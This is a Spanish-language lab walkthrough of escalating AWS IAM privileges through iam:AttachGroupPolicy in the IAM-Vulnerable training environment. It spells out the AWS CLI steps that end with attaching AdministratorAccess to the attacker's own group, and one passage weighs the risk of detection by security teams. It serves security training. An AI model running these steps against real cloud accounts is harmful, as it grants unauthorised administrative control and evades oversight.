AttachGroupPolicy

Un atacante con el permiso iam:AttachGroupPolicy puede aumentar los privilegios adjuntando una política a un grupo del que forma parte, agregando los permisos de esa política al atacante.

Luego del despliegue del laboratorio de IAM-Vulnerable, nos vamos a encontrar el siguiente usuario:

Este usuario tiene la siguiente política:

Este usuario tiene el siguiente rol:

Este usuario hace parte del siguiente grupo:

Otra manera de validar lo anterior, es por medio del siguiente comando ya explicado:

Listando las políticas del usuario que será auditado:

aws iam list-attached-user-policies --user-name privesc8-AttachGroupPolicy-user

Obteniendo información relevante para nuestra auditoria utilizando el ARN de la política del usuario auditado:

aws iam get-policy-version --policy-arn arn:aws:iam::651927172911:policy/privesc8-AttachGroupPolicy --version-id v1

Ahora con nuestro usuario administrador, vamos a generar unas credenciales con STS sobre dicho usuario.

aws sts assume-role --role-arn arn:aws:iam::651927172911:role/privesc8-AttachGroupPolicy-role --role-session-name privesc8

Por lo anterior, tenemos que autenticarnos en AWSCLI y validar con el comando del El whoami de AWS

Primero nos autenticamos:

aws configure --profile privesc8

Y luego validamos con el whoami de AWS:

aws sts get-caller-identity --profile privesc8

Si intentamos agregarnos al grupo de administradores, vamos a obtener un error de permisos:

El siguiente comando se ejecuta dentro de un entorno de laboratorio controlado específicamente diseñado para prácticas de seguridad ofensiva. Su propósito es validar si tenemos los permisos necesarios para realizar operaciones administrativas. Es importante destacar que, aunque este método es efectivo en un ambiente controlado, su aplicación en un entorno real no es recomendable. En escenarios de producción, este tipo de acciones pueden ser fácilmente detectadas por sistemas de monitoreo, aumentando el riesgo de ser identificado por los equipos de seguridad.

aws iam add-user-to-group --group-name Group-Root-Spartan --user-name privesc8-AttachGroupPolicy-user --profile privesc8

En este escenario, simplemente tenemos que adjuntarnos la política de administrador a nuestro grupo:

aws iam attach-group-policy --group-name privesc8-AttachGroupPolicy-group --policy-arn arn:aws:iam::aws:policy/AdministratorAccess --profile privesc8

Si revisamos ahora las políticas asociadas a nuestro usuario desde el grupo, lograremos apreciar que hemos adjuntado exitosamente la política de administrador a nuestro grupo inicial.

Última actualización

¿Te fue útil?